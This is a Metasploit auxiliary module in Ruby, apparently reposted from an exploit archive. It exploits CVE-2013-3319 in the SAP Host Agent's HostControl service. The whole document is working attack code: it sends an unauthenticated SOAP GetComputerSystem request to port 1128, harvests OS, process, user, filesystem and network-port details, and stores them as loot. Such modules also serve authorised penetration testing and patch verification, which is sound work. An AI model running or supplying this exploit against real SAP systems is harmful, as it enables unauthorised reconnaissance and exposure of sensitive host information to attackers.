Share
## https://sploitus.com/exploit?id=PACKETSTORM:180984
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rexml/document'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
  
def initialize  
super(  
'Name' => 'SAP Host Agent Information Disclosure',  
'Description' => %q{  
This module attempts to retrieve Computer and OS info from Host Agent  
through the SAP HostControl service.  
},  
'References' =>  
[  
# General  
['CVE', '2013-3319'],  
['OSVDB', '95616'],  
['BID', '61402'],  
['URL', 'https://launchpad.support.sap.com/#/notes/1816536'],  
['URL', 'https://labs.integrity.pt/advisories/cve-2013-3319/']  
],  
'Author' =>  
[  
'Bruno Morisson <bm[at]integrity.pt>' # Discovery and msf module  
],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
Opt::RPORT(1128)  
])  
  
register_autofilter_ports([1128])  
  
  
end  
  
def initialize_tables  
  
@computer_table = Msf::Ui::Console::Table.new(  
Msf::Ui::Console::Table::Style::Default,  
'Header' => "Remote Computer Listing",  
'Prefix' => "\n",  
'Postfix' => "\n",  
'Indent' => 1,  
'Columns' =>  
[  
"Names",  
"Hostnames",  
"IPAddresses"  
])  
  
@os_table = Msf::Ui::Console::Table.new(  
Msf::Ui::Console::Table::Style::Default,  
'Header' => "Remote OS Listing",  
'Prefix' => "\n",  
'Postfix' => "\n",  
'Indent' => 1,  
'Columns' =>  
[  
"Name",  
"Type",  
"Version",  
"TotalMemSize",  
"Load Avg 1m",  
"Load Avg 5m",  
"Load Avg 15m",  
"CPUs",  
"CPU User",  
"CPU Sys",  
"CPU Idle"  
])  
@net_table = Msf::Ui::Console::Table.new(  
Msf::Ui::Console::Table::Style::Default,  
'Header' => "Network Port Listing",  
'Prefix' => "\n",  
'Postfix' => "\n",  
'Indent' => 1,  
'Columns' =>  
[  
"ID",  
"PacketsIn",  
"PacketsOut",  
"ErrorsIn",  
"ErrorsOut",  
"Collisions"  
])  
  
@process_table = Msf::Ui::Console::Table.new(  
Msf::Ui::Console::Table::Style::Default,  
'Header' => "Remote Process Listing",  
'Prefix' => "\n",  
'Postfix' => "\n",  
'Indent' => 1,  
'Columns' =>  
[  
"Name",  
"PID",  
"Username",  
"Priority",  
"Size",  
"Pages",  
"CPU",  
"CPU Time",  
"Command"  
])  
  
@fs_table = Msf::Ui::Console::Table.new(  
Msf::Ui::Console::Table::Style::Default,  
'Header' => "Remote Filesystem Listing",  
'Prefix' => "\n",  
'Postfix' => "\n",  
'Indent' => 1,  
'Columns' =>  
[  
"Name",  
"Size",  
"Available",  
"Remote"  
])  
  
@net_table = Msf::Ui::Console::Table.new(  
Msf::Ui::Console::Table::Style::Default,  
'Header' => "Network Port Listing",  
'Prefix' => "\n",  
'Postfix' => "\n",  
'Indent' => 1,  
'Columns' =>  
[  
"ID",  
"PacketsIn",  
"PacketsOut",  
"ErrorsIn",  
"ErrorsOut",  
"Collisions"  
])  
  
end  
  
# Parses an array of mProperties elements. For every mProperties element,  
# if there is an item with mValue ITSAMComputerSystem, then collect the  
# values for the items with mName in (Name, Hostnames, IPAdresses)  
def parse_computer_info(data)  
success = false  
data.each do |properties|  
name, hostnames, addresses = ""  
  
if properties.get_elements("item//mValue[text()=\"ITSAMComputerSystem\"]").empty?  
next  
end  
  
item_list = properties.get_elements("item")  
item_list.each do |item|  
item_name = item.get_elements("mName").first.text  
item_value = item.get_elements("mValue").first.text  
  
case item_name  
when "Name"  
name = item_value  
when "Hostnames"  
hostnames = item_value  
when "IPAdresses"  
addresses = item_value  
end  
end  
  
@computer_table << [name, hostnames, addresses]  
  
success = true  
end  
  
return success  
end  
  
# Get the mValues of every item  
def parse_values(data, ignore)  
values = []  
  
item_list = data.get_elements("item")  
item_list.each do |item|  
value_item = item.get_elements("mValue")  
  
if value_item.empty?  
value = ""  
else  
value = value_item.first.text  
end  
  
if value == ignore  
next  
end  
  
values << value  
end  
return values  
end  
  
# Parses an array of mProperties elements and get the interesting info  
# including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and  
# ITSAMNetworkPort properties.  
def parse_detailed_info(data)  
data.each do |properties|  
if not properties.get_elements("item//mValue[text()=\"ITSAMOperatingSystem\"]").empty?  
values = parse_values(properties, "ITSAMOperatingSystem")  
parse_os_info(values)  
end  
  
if not properties.get_elements("item//mValue[text()=\"ITSAMOSProcess\"]").empty?  
values = parse_values(properties, "ITSAMOSProcess")  
parse_process_info(values)  
end  
  
if not properties.get_elements("item//mValue[text()=\"ITSAMFileSystem\"]").empty?  
values = parse_values(properties, "ITSAMFileSystem")  
parse_fs_info(values)  
end  
  
if not properties.get_elements("item//mValue[text()=\"ITSAMNetworkPort\"]").empty?  
values = parse_values(properties, "ITSAMNetworkPort")  
parse_net_info(values)  
end  
end  
end  
  
def parse_os_info(os_info)  
@os_table << [  
os_info[0], # OS name  
os_info[1], # OS type  
os_info[2], # OS Version  
os_info[7], # Total Memory  
os_info[11], # Load Average (1m)  
os_info[12], # Load Average (5m)  
os_info[13], # Load Average (15m)  
os_info[17], # Number of CPUs / Cores  
os_info[18]+'%', # CPU usage (User)  
os_info[19]+'%', # CPU usage (system)  
os_info[20]+'%' # CPU idle  
]  
end  
  
def parse_process_info(process_info)  
@process_table << [  
process_info[0], # Process name  
process_info[1], # PID  
process_info[2], # Username  
process_info[3], # Priority  
process_info[4], # Mem size  
process_info[5], # pages  
process_info[6]+'%', # CPU usage  
process_info[7], # CPU time  
process_info[8] # Command  
]  
end  
  
def parse_fs_info(fs_info)  
@fs_table << [  
fs_info[0], # Filesystem Name  
fs_info[2], # Size  
fs_info[3], # Space Available  
fs_info[6] # Is the filesystem remote ?  
]  
end  
  
def parse_net_info(net_info)  
@net_table << [  
net_info[0], # Network Device ID  
net_info[1], # Packets In  
net_info[2], # Packets Out  
net_info[3], # Errors In  
net_info[4], # Errors Out  
net_info[5] # Collisions  
]  
end  
  
  
def run_host(rhost)  
  
vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service")  
  
data = '<?xml version="1.0" encoding="utf-8"?>'  
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'  
data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'  
data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'  
data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'  
data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'  
data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'  
data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"  
  
begin  
  
res = send_request_raw(  
{  
'uri' => "/",  
'method' => 'POST',  
'data' => data,  
'headers' => {  
'Content-Type' => 'text/xml; charset=UTF-8',  
}  
})  
  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Unable to connect to service")  
return  
end  
  
if res and res.code == 500 and res.body =~ /<faultstring>(.*)<\/faultstring>/i  
faultcode = $1.strip  
vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}")  
return  
  
elsif res and res.code != 200  
vprint_error("#{rhost}:#{rport} - Error in response")  
return  
end  
  
initialize_tables()  
  
vprint_good("#{rhost}:#{rport} - Connected. Retrieving info")  
  
begin  
response_xml = REXML::Document.new(res.body)  
computer_info = response_xml.elements.to_a("//mProperties/") # Computer info  
detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info  
rescue  
print_error("#{rhost}:#{rport} - Unable to parse XML response")  
return  
end  
  
success = parse_computer_info(computer_info)  
if success  
print_good("#{rhost}:#{rport} - Information retrieved successfully")  
else  
print_error("#{rhost}:#{rport} - Unable to parse reply")  
return  
end  
  
# assume that if we can parse the first part, it is a valid SAP XML response  
parse_detailed_info(detailed_info)  
  
sap_tables_clean = ''  
  
[@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t|  
sap_tables_clean << t.to_s  
end  
  
vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean)  
  
xml_raw = store_loot(  
"sap.getcomputersystem",  
"text/xml",  
rhost,  
res.body,  
"sap_getcomputersystem.xml",  
"SAP GetComputerSystem XML"  
)  
  
xml_parsed = store_loot(  
"sap.getcomputersystem",  
"text/plain",  
rhost,  
sap_tables_clean,  
"sap_getcomputersystem.txt",  
"SAP GetComputerSystem XML"  
)  
  
print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)")  
  
end  
end